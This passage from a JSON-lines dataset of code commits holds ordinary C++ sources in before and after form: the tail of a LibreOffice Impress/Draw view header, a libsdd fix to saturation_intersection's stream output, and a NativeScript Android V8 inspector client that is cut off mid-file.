throw(::com::sun::star::uno::RuntimeException);\n\n    \/\/ XServiceInfo\n    virtual ::rtl::OUString SAL_CALL getImplementationName() throw(::com::sun::star::uno::RuntimeException);\n    virtual sal_Bool SAL_CALL supportsService( const ::rtl::OUString& ServiceName ) throw(::com::sun::star::uno::RuntimeException);\n    virtual ::com::sun::star::uno::Sequence< ::rtl::OUString > SAL_CALL getSupportedServiceNames() throw(::com::sun::star::uno::RuntimeException);\n\n    \/\/ XSelectionSupplier\n    virtual sal_Bool SAL_CALL select( const ::com::sun::star::uno::Any& aSelection ) throw(::com::sun::star::lang::IllegalArgumentException, ::com::sun::star::uno::RuntimeException);\n    virtual ::com::sun::star::uno::Any SAL_CALL getSelection(  ) throw(::com::sun::star::uno::RuntimeException);\n\n    \/\/ XDrawView\n    virtual void SAL_CALL setCurrentPage( const ::com::sun::star::uno::Reference< ::com::sun::star::drawing::XDrawPage >& xPage ) throw(::com::sun::star::uno::RuntimeException);\n    virtual ::com::sun::star::uno::Reference< ::com::sun::star::drawing::XDrawPage > SAL_CALL getCurrentPage(  ) throw(::com::sun::star::uno::RuntimeException);\n\nprotected:\n    virtual void FillPropertyTable (\n        ::std::vector< ::com::sun::star::beans::Property>& rProperties);\n\n    \/**\n     * Converted the value rValue and return the result in rConvertedValue and the\n     * old value in rOldValue. A IllegalArgumentException is thrown.\n     * The method is not implemented in this class. After this call the vetoable\n     * listeners are notified.\n     *\n     * @param rConvertedValue the converted value. Only set if return is true.\n     * @param rOldValue the old value. Only set if return is true.\n     * @param nHandle the handle of the proberty.\n     * @return true if the value converted.\n     *\/\n    virtual sal_Bool SAL_CALL convertFastPropertyValue(\n        ::com::sun::star::uno::Any & rConvertedValue,\n        ::com::sun::star::uno::Any & rOldValue,\n        sal_Int32 nHandle,\n        const ::com::sun::star::uno::Any& rValue )\n        throw (::com::sun::star::lang::IllegalArgumentException);\n    \/**\n     * The same as setFastProperyValue, but no exception is thrown and nHandle\n     * is always valid. You must not broadcast the changes in this method.<BR>\n     * <B>You type is correct you need't test it.<\/B>\n     *\/\n    virtual void SAL_CALL setFastPropertyValue_NoBroadcast(\n        sal_Int32 nHandle,\n        const ::com::sun::star::uno::Any& rValue )\n        throw (::com::sun::star::uno::Exception);\n    \/**\n     * The same as getFastProperyValue, but return the value through\n     * rValue and nHandle is always valid.\n     *\/\n    virtual void SAL_CALL getFastPropertyValue(\n        ::com::sun::star::uno::Any& rValue,\n        sal_Int32 nHandle ) const;\n\n    sal_Bool getMasterPageMode(void) const throw();\n    void setMasterPageMode(sal_Bool MasterPageMode_) throw();\n    sal_Bool getLayerMode(void) const throw();\n    void setLayerMode(sal_Bool LayerMode_) throw();\n\n    \/** Return a reference to the active layer object.\n        @return\n            The returned value may be empty when the internal state of this\n            view is not valid (like during destruction.)\n    *\/\n    ::com::sun::star::uno::Reference< ::com::sun::star::drawing::XLayer> getActiveLayer (void) throw ();\n\n    \/** Make the specified object the active layer.\n        @param rxLayer\n            The new layer object.\n    *\/\n    void setActiveLayer (const ::com::sun::star::uno::Reference< ::com::sun::star::drawing::XLayer>& rxLayer) throw ();\n\n    void SetZoom( sal_Int16 nZoom );\n    sal_Int16 GetZoom(void) const;\n\n    void SetViewOffset(const com::sun::star::awt::Point& rWinPos );\n    com::sun::star::awt::Point GetViewOffset() const;\n\n    void SetZoomType( sal_Int16 nType );\n\nprivate:\n    bool mbOldMasterPageMode;\n    bool mbOldLayerMode;\n    SdPage* mpCurrentPage;\n\n    \/** This is a shortcut for accessing the view shell data member of\n        the base class casted to the correct class.\n    *\/\n    DrawViewShell& GetDrawViewShell (void) const;\n};\n\n} \/\/ end of namespace sd\n\n#endif\n<|endoftext|>"}
{"text":"<commit_before>#ifndef _SDD_HOM_SATURATION_INTERSECTION_HH_\n#define _SDD_HOM_SATURATION_INTERSECTION_HH_\n\n#include <algorithm>  \/\/ all_of, copy\n#include <iosfwd>\n#include <stdexcept>  \/\/invalid_argument\n\n#include <boost\/container\/flat_set.hpp>\n\n#include \"sdd\/dd\/definition.hh\"\n#include \"sdd\/hom\/context_fwd.hh\"\n#include \"sdd\/hom\/definition_fwd.hh\"\n#include \"sdd\/hom\/evaluation_error.hh\"\n#include \"sdd\/hom\/identity.hh\"\n#include \"sdd\/hom\/intersection.hh\"\n#include \"sdd\/hom\/local.hh\"\n#include \"sdd\/hom\/optional_homomorphism.hh\"\n#include \"sdd\/order\/order.hh\"\n#include \"sdd\/util\/packed.hh\"\n\nnamespace sdd { namespace hom {\n\n\/*------------------------------------------------------------------------------------------------*\/\n\n\/\/\/ @internal\n\/\/\/ @brief Saturation Sum homomorphism.\ntemplate <typename C>\nclass LIBSDD_ATTRIBUTE_PACKED saturation_intersection\n{\npublic:\n\n  \/\/\/ @brief The variable type.\n  using variable_type = typename C::variable_type;\n\n  \/\/\/ @brief The type of the homomorphism G part.\n  using g_type = boost::container::flat_set<homomorphism<C>>;\n\nprivate:\n\n  \/\/\/ @brief The variable on which this intersection works.\n  const variable_type variable_;\n\n  \/\/\/ @brief The homomorphism's F part.\n  const optional_homomorphism<C> F_;\n\n  \/\/\/ @brief The homomorphism's G part.\n  const g_type G_;\n\n  \/\/\/ @brief The homomorphism's L part.\n  const optional_homomorphism<C> L_;\n\npublic:\n\n  \/\/\/ @brief Constructor.\n  saturation_intersection( variable_type var, optional_homomorphism<C>&& f, g_type&& g\n                         , optional_homomorphism<C>&& l)\n    : variable_(var), F_(std::move(f)), G_(std::move(g)), L_(std::move(l))\n  {}\n\n  \/\/\/ @brief Evaluation.\n  SDD<C>\n  operator()(context<C>& cxt, const order<C>& o, const SDD<C>& s)\n  const\n  {\n    dd::intersection_builder<C, SDD<C>> operands;\n    operands.reserve(G_.size() + 2);\n\n    if (F_)\n    {\n      operands.add((*F_)(cxt, o, s));\n    }\n\n    for (const auto& g : G_)\n    {\n      operands.add(g(cxt, o, s));\n    }\n\n    if (L_)\n    {\n      operands.add((*L_)(cxt, o, s));\n    }\n\n    try\n    {\n      return dd::intersection(cxt.sdd_context(), std::move(operands));\n    }\n    catch (top<C>& t)\n    {\n      evaluation_error<C> e(s);\n      e.add_top(t);\n      throw e;\n    }\n  }\n\n  \/\/\/ @brief Skip variable predicate.\n  bool\n  skip(const order<C>& o)\n  const noexcept\n  {\n    return variable_ != o.variable();\n  }\n\n  \/\/\/ @brief Selector predicate.\n  bool\n  selector()\n  const noexcept\n  {\n    return (F_ ? F_->selector() : true)\n       and (L_ ? L_->selector() : true)\n       and std::all_of( G_.begin(), G_.end()\n                      , [&](const homomorphism<C>& h){return h.selector();});\n  }\n\n  \/\/\/ @brief Get the targeted variable.\n  variable_type\n  variable()\n  const noexcept\n  {\n    return variable_;\n  }\n\n  \/\/\/ @brief Get the forwardable part.\n  const optional_homomorphism<C>&\n  F()\n  const noexcept\n  {\n    return F_;\n  }\n\n  \/\/\/ @brief Get the global part.\n  const g_type&\n  G()\n  const noexcept\n  {\n    return G_;\n  }\n\n  \/\/\/ @brief Get the local part.\n  const optional_homomorphism<C>&\n  L()\n  const noexcept\n  {\n    return L_;\n  }\n};\n\n\/*------------------------------------------------------------------------------------------------*\/\n\n\/\/\/ @internal\n\/\/\/ @brief Equality of two saturation_intersection.\n\/\/\/ @related saturation_intersection\ntemplate <typename C>\ninline\nbool\noperator==(const saturation_intersection<C>& lhs, const saturation_intersection<C>& rhs)\nnoexcept\n{\n  return lhs.variable() == rhs.variable() and lhs.F() == rhs.F() and lhs.L() == rhs.L()\n     and lhs.G() == rhs.G();\n}\n\n\/\/\/ @internal\n\/\/\/ @related saturation_intersection\ntemplate <typename C>\nstd::ostream&\noperator<<(std::ostream& os, const saturation_intersection<C>& s)\n{\n  os << \"SatInter(@\" << +s.variable() << \", F=\";\n  if (s.F())\n  {\n    os << *s.F();\n  }\n  os << \", G=\";\n  if (not s.G().empty())\n  {\n    std::copy( s.G().begin(), std::prev(s.G().end())\n             , std::ostream_iterator<homomorphism<C>>(os, \" & \"));\n    os << *std::prev(s.G().end()) << \")\";\n  }\n  os << \", L=\";\n  if (s.L())\n  {\n    os << *s.L();\n  }\n  return os;\n}\n\n\/*------------------------------------------------------------------------------------------------*\/\n\n\/\/\/ @internal\n\/\/\/ @brief Create the Saturation Intersection homomorphism.\n\/\/\/ @related sdd::homomorphism\n\/\/\/\n\/\/\/ We suppose that a saturation intersection is created in the rewriting process. Thus, we assume\n\/\/\/ that operands are already optimized (local merged, etc.).\ntemplate <typename C, typename InputIterator>\nhomomorphism<C>\nSaturationIntersection( typename C::variable_type var\n                      , optional_homomorphism<C>&& f\n                      , InputIterator gbegin, InputIterator gend\n                      , optional_homomorphism<C>&& l)\n{\n  if (std::distance(gbegin, gend) == 0)\n  {\n    if (f and not l)\n    {\n      return *f;\n    }\n    if (not f and l)\n    {\n      return *l;\n    }\n  }\n\n  return homomorphism<C>::create( mem::construct<saturation_intersection<C>>()\n                                , var\n                                , std::move(f)\n                                , typename saturation_intersection<C>::g_type(gbegin, gend)\n                                , std::move(l));\n}\n\n\/*------------------------------------------------------------------------------------------------*\/\n\n}} \/\/ namespace sdd::hom\n\nnamespace std {\n\n\/*------------------------------------------------------------------------------------------------*\/\n\n\/\/\/ @internal\n\/\/\/ @brief Hash specialization for sdd::hom::saturation_intersection.\ntemplate <typename C>\nstruct hash<sdd::hom::saturation_intersection<C>>\n{\n  std::size_t\n  operator()(const sdd::hom::saturation_intersection<C>& s)\n  const\n  {\n    std::size_t seed = sdd::util::hash(s.variable());\n    if (s.F())\n    {\n      sdd::util::hash_combine(seed, *s.F());\n    }\n    if (s.L())\n    {\n      sdd::util::hash_combine(seed, *s.L());\n    }\n    sdd::util::hash_combine(seed, s.G().begin(), s.G().end());\n    return seed;\n  }\n};\n\n\/*------------------------------------------------------------------------------------------------*\/\n\n} \/\/ namespace std\n\n#endif \/\/ _SDD_HOM_SATURATION_INTERSECTION_HH_\n<commit_msg>Fix saturation_intersection textual output.<commit_after>#ifndef _SDD_HOM_SATURATION_INTERSECTION_HH_\n#define _SDD_HOM_SATURATION_INTERSECTION_HH_\n\n#include <algorithm>  \/\/ all_of, copy\n#include <iosfwd>\n#include <stdexcept>  \/\/invalid_argument\n\n#include <boost\/container\/flat_set.hpp>\n\n#include \"sdd\/dd\/definition.hh\"\n#include \"sdd\/hom\/context_fwd.hh\"\n#include \"sdd\/hom\/definition_fwd.hh\"\n#include \"sdd\/hom\/evaluation_error.hh\"\n#include \"sdd\/hom\/identity.hh\"\n#include \"sdd\/hom\/intersection.hh\"\n#include \"sdd\/hom\/local.hh\"\n#include \"sdd\/hom\/optional_homomorphism.hh\"\n#include \"sdd\/order\/order.hh\"\n#include \"sdd\/util\/packed.hh\"\n\nnamespace sdd { namespace hom {\n\n\/*------------------------------------------------------------------------------------------------*\/\n\n\/\/\/ @internal\n\/\/\/ @brief Saturation Sum homomorphism.\ntemplate <typename C>\nclass LIBSDD_ATTRIBUTE_PACKED saturation_intersection\n{\npublic:\n\n  \/\/\/ @brief The variable type.\n  using variable_type = typename C::variable_type;\n\n  \/\/\/ @brief The type of the homomorphism G part.\n  using g_type = boost::container::flat_set<homomorphism<C>>;\n\nprivate:\n\n  \/\/\/ @brief The variable on which this intersection works.\n  const variable_type variable_;\n\n  \/\/\/ @brief The homomorphism's F part.\n  const optional_homomorphism<C> F_;\n\n  \/\/\/ @brief The homomorphism's G part.\n  const g_type G_;\n\n  \/\/\/ @brief The homomorphism's L part.\n  const optional_homomorphism<C> L_;\n\npublic:\n\n  \/\/\/ @brief Constructor.\n  saturation_intersection( variable_type var, optional_homomorphism<C>&& f, g_type&& g\n                         , optional_homomorphism<C>&& l)\n    : variable_(var), F_(std::move(f)), G_(std::move(g)), L_(std::move(l))\n  {}\n\n  \/\/\/ @brief Evaluation.\n  SDD<C>\n  operator()(context<C>& cxt, const order<C>& o, const SDD<C>& s)\n  const\n  {\n    dd::intersection_builder<C, SDD<C>> operands;\n    operands.reserve(G_.size() + 2);\n\n    if (F_)\n    {\n      operands.add((*F_)(cxt, o, s));\n    }\n\n    for (const auto& g : G_)\n    {\n      operands.add(g(cxt, o, s));\n    }\n\n    if (L_)\n    {\n      operands.add((*L_)(cxt, o, s));\n    }\n\n    try\n    {\n      return dd::intersection(cxt.sdd_context(), std::move(operands));\n    }\n    catch (top<C>& t)\n    {\n      evaluation_error<C> e(s);\n      e.add_top(t);\n      throw e;\n    }\n  }\n\n  \/\/\/ @brief Skip variable predicate.\n  bool\n  skip(const order<C>& o)\n  const noexcept\n  {\n    return variable_ != o.variable();\n  }\n\n  \/\/\/ @brief Selector predicate.\n  bool\n  selector()\n  const noexcept\n  {\n    return (F_ ? F_->selector() : true)\n       and (L_ ? L_->selector() : true)\n       and std::all_of( G_.begin(), G_.end()\n                      , [&](const homomorphism<C>& h){return h.selector();});\n  }\n\n  \/\/\/ @brief Get the targeted variable.\n  variable_type\n  variable()\n  const noexcept\n  {\n    return variable_;\n  }\n\n  \/\/\/ @brief Get the forwardable part.\n  const optional_homomorphism<C>&\n  F()\n  const noexcept\n  {\n    return F_;\n  }\n\n  \/\/\/ @brief Get the global part.\n  const g_type&\n  G()\n  const noexcept\n  {\n    return G_;\n  }\n\n  \/\/\/ @brief Get the local part.\n  const optional_homomorphism<C>&\n  L()\n  const noexcept\n  {\n    return L_;\n  }\n};\n\n\/*------------------------------------------------------------------------------------------------*\/\n\n\/\/\/ @internal\n\/\/\/ @brief Equality of two saturation_intersection.\n\/\/\/ @related saturation_intersection\ntemplate <typename C>\ninline\nbool\noperator==(const saturation_intersection<C>& lhs, const saturation_intersection<C>& rhs)\nnoexcept\n{\n  return lhs.variable() == rhs.variable() and lhs.F() == rhs.F() and lhs.L() == rhs.L()\n     and lhs.G() == rhs.G();\n}\n\n\/\/\/ @internal\n\/\/\/ @related saturation_intersection\ntemplate <typename C>\nstd::ostream&\noperator<<(std::ostream& os, const saturation_intersection<C>& s)\n{\n  os << \"SatInter(@\" << +s.variable() << \", F=\";\n  if (s.F())\n  {\n    os << *s.F();\n  }\n  os << \", G=\";\n  if (not s.G().empty())\n  {\n    std::copy( s.G().begin(), std::prev(s.G().end())\n             , std::ostream_iterator<homomorphism<C>>(os, \" & \"));\n    os << *std::prev(s.G().end()) << \")\";\n  }\n  os << \", L=\";\n  if (s.L())\n  {\n    os << *s.L();\n  }\n  return os << \")\";\n}\n\n\/*------------------------------------------------------------------------------------------------*\/\n\n\/\/\/ @internal\n\/\/\/ @brief Create the Saturation Intersection homomorphism.\n\/\/\/ @related sdd::homomorphism\n\/\/\/\n\/\/\/ We suppose that a saturation intersection is created in the rewriting process. Thus, we assume\n\/\/\/ that operands are already optimized (local merged, etc.).\ntemplate <typename C, typename InputIterator>\nhomomorphism<C>\nSaturationIntersection( typename C::variable_type var\n                      , optional_homomorphism<C>&& f\n                      , InputIterator gbegin, InputIterator gend\n                      , optional_homomorphism<C>&& l)\n{\n  if (std::distance(gbegin, gend) == 0)\n  {\n    if (f and not l)\n    {\n      return *f;\n    }\n    if (not f and l)\n    {\n      return *l;\n    }\n  }\n\n  return homomorphism<C>::create( mem::construct<saturation_intersection<C>>()\n                                , var\n                                , std::move(f)\n                                , typename saturation_intersection<C>::g_type(gbegin, gend)\n                                , std::move(l));\n}\n\n\/*------------------------------------------------------------------------------------------------*\/\n\n}} \/\/ namespace sdd::hom\n\nnamespace std {\n\n\/*------------------------------------------------------------------------------------------------*\/\n\n\/\/\/ @internal\n\/\/\/ @brief Hash specialization for sdd::hom::saturation_intersection.\ntemplate <typename C>\nstruct hash<sdd::hom::saturation_intersection<C>>\n{\n  std::size_t\n  operator()(const sdd::hom::saturation_intersection<C>& s)\n  const\n  {\n    std::size_t seed = sdd::util::hash(s.variable());\n    if (s.F())\n    {\n      sdd::util::hash_combine(seed, *s.F());\n    }\n    if (s.L())\n    {\n      sdd::util::hash_combine(seed, *s.L());\n    }\n    sdd::util::hash_combine(seed, s.G().begin(), s.G().end());\n    return seed;\n  }\n};\n\n\/*------------------------------------------------------------------------------------------------*\/\n\n} \/\/ namespace std\n\n#endif \/\/ _SDD_HOM_SATURATION_INTERSECTION_HH_\n<|endoftext|>"}
{"text":"<commit_before>#include \"JsV8InspectorClient.h\"\n\/\/#include \"V8GlobalHelpers.h\"\n\/\/#include \"ArgConverter.h\"\n\/\/#include \"JniLocalRef.h\"\n\/\/#include \"NativeScriptException.h\"\n\/\/#include \"NativeScriptAssert.h\"\n#include <sstream>\n#include <assert.h>\n#include <include\/libplatform\/libplatform.h>\n#include \"Runtime.h\"\n#include \"src\/inspector\/string-16.h\"\n\n#include \"ArgConverter.h\"\n\nusing namespace std;\nusing namespace tns;\nusing namespace v8;\n\nusing namespace v8_inspector;\n\nJsV8InspectorClient::JsV8InspectorClient(v8::Isolate *isolate)\n        : isolate_(isolate),\n          inspector_(nullptr),\n          session_(nullptr),\n          connection(nullptr),\n          context_()\n{\n    JEnv env;\n\n\n    inspectorClass = env.FindClass(\"com\/tns\/AndroidJsV8Inspector\");\n    assert(inspectorClass != nullptr);\n\n    sendMethod = env.GetStaticMethodID(inspectorClass, \"send\", \"(Ljava\/lang\/Object;Ljava\/lang\/String;)V\");\n    assert(sendMethod != nullptr);\n\n    getInspectorMessageMethod = env.GetStaticMethodID(inspectorClass, \"getInspectorMessage\", \"(Ljava\/lang\/Object;)Ljava\/lang\/String;\");\n    assert(getInspectorMessageMethod != nullptr);\n}\n\nvoid JsV8InspectorClient::connect(jobject connection)\n{\n    \/\/Isolate::Scope isolate_scope(isolate_);\n    \/\/v8::HandleScope handleScope(isolate_);\n\n    \/\/v8::base_copied::Semaphore ready_semaphore(0);\n\n    JEnv env;\n    this->connection = env.NewGlobalRef(connection);\n\n    \/\/this->backend_runner->Append(new ConnectTask(this, &ready_semaphore));\n\n    \/\/ready_semaphore.Wait();\n\n    this->doConnect(isolate_, JsV8InspectorClient::PersistentToLocal(isolate_, context_));\n\n\n    \/\/inspector_ = V8Inspector::create(isolate_, this);\n\n    \/\/session_ = inspector_->connect(1, this, v8_inspector::StringView());\n\n    \/\/inspector_->contextCreated(v8_inspector::V8ContextInfo(isolate_->GetCurrentContext(), 1, v8_inspector::StringView()));\n\n\n}\n\nvoid JsV8InspectorClient::doConnect(v8::Isolate *isolate, const v8::Local<v8::Context> &context)\n{\n\/\/    Isolate::Scope isolate_scope(isolate_);\n\/\/    v8::HandleScope handleScope(isolate_);\n\n\n    \/\/inspector_ = V8Inspector::create(isolate, this);\n\n    session_ = inspector_->connect(0, this, v8_inspector::StringView());\n\n    \/\/inspector_->contextCreated(v8_inspector::V8ContextInfo(\/*isolate->GetCurrentContext()*\/ context, 1, v8_inspector::StringView()));\n}\n\nvoid JsV8InspectorClient::disconnect()\n{\n    if (this->connection == nullptr)\n    {\n        return;\n    }\n\n    Isolate::Scope isolate_scope(isolate_);\n    v8::HandleScope handleScope(isolate_);\n\n    session_.reset();\n\n    JEnv env;\n    env.DeleteGlobalRef(this->connection);\n    this->connection = nullptr;\n}\n\n\nvoid JsV8InspectorClient::dispatchMessage(const std::string &message)\n{\n    \/\/Isolate::Scope isolate_scope(isolate_);\n    \/\/v8::HandleScope handleScope(isolate_);\n\n\/\/    assert(session_ != nullptr);\n\/\/\n\/\/    const String16 msg(message.c_str());\n\/\/    v8_inspector::StringView message_view(reinterpret_cast<const uint16_t *>(msg.characters16()), msg.length());\n\/\/    session_->dispatchProtocolMessage(message_view);\n\n    \/\/this->backend_runner->Append(new SendMessageToBackendTask(this, message));\n\n    this->doDispatchMessage(isolate_, message);\n\n}\n\n\/\/void JsV8InspectorClient::runMessageLoopOnPause(int context_group_id) override\n\/\/{\n\/\/    if (running_nested_loop_)\n\/\/    {\n\/\/        return;\n\/\/    }\n\/\/\n\/\/    terminated_ = false;\n\/\/    running_nested_loop_ = true;\n\/\/    while (!terminated_)\n\/\/    {\n\/\/        agent_->WaitForFrontendMessage();\n\/\/        while (v8::platform::PumpMessageLoop(platform_, env_->isolate()))\n\/\/        {\n\/\/\n\/\/        }\n\/\/    }\n\/\/    terminated_ = false;\n\/\/    running_nested_loop_ = false;\n\/\/}\n\n\nvoid JsV8InspectorClient::runMessageLoopOnPause(int context_group_id)\n{\n\n\n    if (running_nested_loop_)\n    {\n        return;\n    }\n\n    JEnv env;\n\n    terminated_ = false;\n    running_nested_loop_ = true;\n    while (!terminated_)\n    {\n        \/\/agent_->WaitForFrontendMessage();\n\n\/\/        string errMsg;\n\/\/        JniLocalRef msg(env.CallStaticObjectMethod(NATIVESCRIPTEXCEPTION_CLASS, NATIVESCRIPTEXCEPTION_GET_STACK_TRACE_AS_STRING_METHOD_ID, exception));\n\/\/\n\/\/        const char* msgStr = env.GetStringUTFChars(msg, nullptr);\n\/\/\n\/\/        errMsg.append(msgStr);\n\/\/\n\/\/        env.ReleaseStringUTFChars(msg, msgStr);\n\/\/\n\/\/        return errMsg;\n\n        JniLocalRef msg(env.CallStaticObjectMethod(inspectorClass, getInspectorMessageMethod, this->connection));\n        if (!msg.IsNull())\n        {\n            auto inspectorMessage = ArgConverter::jstringToString(msg);\n            this->doDispatchMessage(this->isolate_, inspectorMessage);\n        }\n\n        while (v8::platform::PumpMessageLoop(Runtime::platform, isolate_))\n        {\n        }\n    }\n    terminated_ = false;\n    running_nested_loop_ = false;\n}\n\nvoid JsV8InspectorClient::quitMessageLoopOnPause()\n{\n    terminated_ = true;\n}\n\nv8::Local<v8::Context> JsV8InspectorClient::ensureDefaultContextInGroup(int contextGroupId)\n{\n    v8::Local<v8::Context> context = PersistentToLocal(isolate_, context_);\n    return context;\n    \/\/return env_->context();\n    \/\/return v8::Local<v8::Context>();\n}\n\nvoid JsV8InspectorClient::doDispatchMessage(v8::Isolate *isolate, const std::string &message)\n{\n    \/\/Isolate::Scope isolate_scope(isolate_);\n    \/\/v8::HandleScope handleScope(isolate_);\n\n    assert(session_ != nullptr);\n\n    const String16 msg(message.c_str());\n    v8_inspector::StringView message_view(reinterpret_cast<const uint16_t *>(msg.characters16()), msg.length());\n    session_->dispatchProtocolMessage(message_view);\n}\n\nvoid JsV8InspectorClient::sendProtocolResponse(int callId, const v8_inspector::StringView &message)\n{\n    \/\/frontend_channel_->SendMessageToFrontend(message);\n    sendProtocolNotification(message);\n}\n\nstatic v8_inspector::String16 ToString16(const v8_inspector::StringView &string)\n{\n    if (string.is8Bit())\n    {\n        return v8_inspector::String16(reinterpret_cast<const char *>(string.characters8()), string.length());\n    }\n\n    return v8_inspector::String16(reinterpret_cast<const uint16_t *>(string.characters16()), string.length());\n}\n\nvoid JsV8InspectorClient::sendProtocolNotification(const v8_inspector::StringView &message)\n{\n    \/\/frontend_channel_->SendMessageToFrontend(message);\n\n    if (inspectorClass == nullptr || this->connection == nullptr)\n    {\n        return;\n    }\n\n    v8_inspector::String16 msg = ToString16(message);\n\n    JEnv env;\n    const char *msss = msg.utf8().c_str();\n    JniLocalRef string(env.NewStringUTF(msg.utf8().c_str()));\n    env.CallStaticVoidMethod(inspectorClass, sendMethod, this->connection, (jstring) string);\n}\n\nvoid JsV8InspectorClient::flushProtocolNotifications()\n{\n}\n\ntemplate<class TypeName>\ninline v8::Local<TypeName> StrongPersistentToLocal(const v8::Persistent<TypeName> &persistent)\n{\n    return *reinterpret_cast<v8::Local<TypeName> *>(const_cast<v8::Persistent<TypeName> *>(&persistent));\n}\n\ntemplate<class TypeName>\ninline v8::Local<TypeName> WeakPersistentToLocal(v8::Isolate *isolate, const v8::Persistent<TypeName> &persistent)\n{\n    return v8::Local<TypeName>::New(isolate, persistent);\n}\n\ntemplate<class TypeName>\ninline v8::Local<TypeName> JsV8InspectorClient::PersistentToLocal(v8::Isolate *isolate, const v8::Persistent<TypeName> &persistent)\n{\n    if (persistent.IsWeak())\n    {\n        return WeakPersistentToLocal(isolate, persistent);\n    }\n    else\n    {\n        return StrongPersistentToLocal(persistent);\n    }\n}\n\nvoid JsV8InspectorClient::init()\n{\n    if (inspector_ != nullptr)\n    {\n        return;\n    }\n\n    v8::HandleScope handle_scope(isolate_);\n\n    v8::Local<Context> context = Context::New(isolate_);\n    v8::Context::Scope context_scope(context);\n\n\n    inspector_ = V8Inspector::create(isolate_, this);\n\n    inspector_->contextCreated(v8_inspector::V8ContextInfo(context, 0, v8_inspector::StringView()));\n\n    v8::Persistent<v8::Context> persistentContext(context->GetIsolate(), context);\n    context_.Reset(isolate_, persistentContext);\n}\n\nJsV8InspectorClient *JsV8InspectorClient::GetInstance()\n{\n    if (instance == nullptr)\n    {\n        instance = new JsV8InspectorClient(Runtime::GetRuntime(0)->GetIsolate());\n    }\n\n    return instance;\n}\n\nvoid MessageHandler(v8::Local<v8::Message> message,\n                    v8::Local<v8::Value> exception)\n{\n    v8::Isolate *isolate = v8::Isolate::GetCurrent();\n    v8::Local<v8::Context> context = isolate->GetEnteredContext();\n\/\/    if (context.IsEmpty()) return;\n\/\/    v8_inspector::V8Inspector *inspector = InspectorClientImpl::InspectorFromContext(context);\n\/\/\n\/\/    v8::Local<v8::StackTrace> stack = message->GetStackTrace();\n\/\/    int script_id = message->GetScriptOrigin().ScriptID()->Value();\n\/\/    if (!stack.IsEmpty() && stack->GetFrameCount() > 0)\n\/\/    {\n\/\/        int top_script_id = stack->GetFrame(0)->GetScriptId();\n\/\/        if (top_script_id == script_id) script_id = 0;\n\/\/    }\n\/\/    int line_number = message->GetLineNumber(context).FromMaybe(0);\n\/\/    int column_number = 0;\n\/\/    if (message->GetStartColumn(context).IsJust())\n\/\/        column_number = message->GetStartColumn(context).FromJust() + 1;\n\/\/\n\/\/    v8_inspector::StringView detailed_message;\n\/\/    v8_inspector::String16 message_text_string = ToString16(message->Get());\n\/\/    v8_inspector::StringView message_text(message_text_string.characters16(),\n\/\/                                          message_text_string.length());\n\/\/    v8_inspector::String16 url_string;\n\/\/    if (message->GetScriptOrigin().ResourceName()->IsString())\n\/\/    {\n\/\/        url_string =\n\/\/                ToString16(message->GetScriptOrigin().ResourceName().As<v8::String>());\n\/\/    }\n\/\/    v8_inspector::StringView url(url_string.characters16(), url_string.length());\n\/\/\n\/\/    inspector->exceptionThrown(context, message_text, exception, detailed_message,\n\/\/                               url, line_number, column_number,\n\/\/                               inspector->createStackTrace(stack), script_id);\n}\n\nJsV8InspectorClient *JsV8InspectorClient::instance = nullptr;\njclass JsV8InspectorClient::inspectorClass = nullptr;\njmethodID JsV8InspectorClient::sendMethod = nullptr;\njmethodID JsV8InspectorClient::getInspectorMessageMethod = nullptr;\n\n\n\n<commit_msg>travis rebuild<commit_after>#include \"JsV8InspectorClient.h\"\n\/\/#include \"V8GlobalHelpers.h\"\n\/\/#include \"ArgConverter.h\"\n\/\/#include \"JniLocalRef.h\"\n\/\/#include \"NativeScriptException.h\"\n\/\/#include \"NativeScriptAssert.h\"\n#include <sstream>\n#include <assert.h>\n#include <include\/libplatform\/libplatform.h>\n#include \"Runtime.h\"\n#include \"src\/inspector\/string-16.h\"\n\n#include \"ArgConverter.h\"\n\nusing namespace std;\nusing namespace tns;\nusing namespace v8;\n\nusing namespace v8_inspector;\n\nJsV8InspectorClient::JsV8InspectorClient(v8::Isolate *isolate)\n        : isolate_(isolate),\n          inspector_(nullptr),\n          session_(nullptr),\n          connection(nullptr),\n          context_()\n{\n    JEnv env;\n\n    inspectorClass = env.FindClass(\"com\/tns\/AndroidJsV8Inspector\");\n    assert(inspectorClass != nullptr);\n\n    sendMethod = env.GetStaticMethodID(inspectorClass, \"send\", \"(Ljava\/lang\/Object;Ljava\/lang\/String;)V\");\n    assert(sendMethod != nullptr);\n\n    getInspectorMessageMethod = env.GetStaticMethodID(inspectorClass, \"getInspectorMessage\", \"(Ljava\/lang\/Object;)Ljava\/lang\/String;\");\n    assert(getInspectorMessageMethod != nullptr);\n}\n\nvoid JsV8InspectorClient::connect(jobject connection)\n{\n    \/\/Isolate::Scope isolate_scope(isolate_);\n    \/\/v8::HandleScope handleScope(isolate_);\n\n    \/\/v8::base_copied::Semaphore ready_semaphore(0);\n\n    JEnv env;\n    this->connection = env.NewGlobalRef(connection);\n\n    \/\/this->backend_runner->Append(new ConnectTask(this, &ready_semaphore));\n\n    \/\/ready_semaphore.Wait();\n\n    this->doConnect(isolate_, JsV8InspectorClient::PersistentToLocal(isolate_, context_));\n\n\n    \/\/inspector_ = V8Inspector::create(isolate_, this);\n\n    \/\/session_ = inspector_->connect(1, this, v8_inspector::StringView());\n\n    \/\/inspector_->contextCreated(v8_inspector::V8ContextInfo(isolate_->GetCurrentContext(), 1, v8_inspector::StringView()));\n\n\n}\n\nvoid JsV8InspectorClient::doConnect(v8::Isolate *isolate, const v8::Local<v8::Context> &context)\n{\n\/\/    Isolate::Scope isolate_scope(isolate_);\n\/\/    v8::HandleScope handleScope(isolate_);\n\n\n    \/\/inspector_ = V8Inspector::create(isolate, this);\n\n    session_ = inspector_->connect(0, this, v8_inspector::StringView());\n\n    \/\/inspector_->contextCreated(v8_inspector::V8ContextInfo(\/*isolate->GetCurrentContext()*\/ context, 1, v8_inspector::StringView()));\n}\n\nvoid JsV8InspectorClient::disconnect()\n{\n    if (this->connection == nullptr)\n    {\n        return;\n    }\n\n    Isolate::Scope isolate_scope(isolate_);\n    v8::HandleScope handleScope(isolate_);\n\n    session_.reset();\n\n    JEnv env;\n    env.DeleteGlobalRef(this->connection);\n    this->connection = nullptr;\n}\n\n\nvoid JsV8InspectorClient::dispatchMessage(const std::string &message)\n{\n    \/\/Isolate::Scope isolate_scope(isolate_);\n    \/\/v8::HandleScope handleScope(isolate_);\n\n\/\/    assert(session_ != nullptr);\n\/\/\n\/\/    const String16 msg(message.c_str());\n\/\/    v8_inspector::StringView message_view(reinterpret_cast<const uint16_t *>(msg.characters16()), 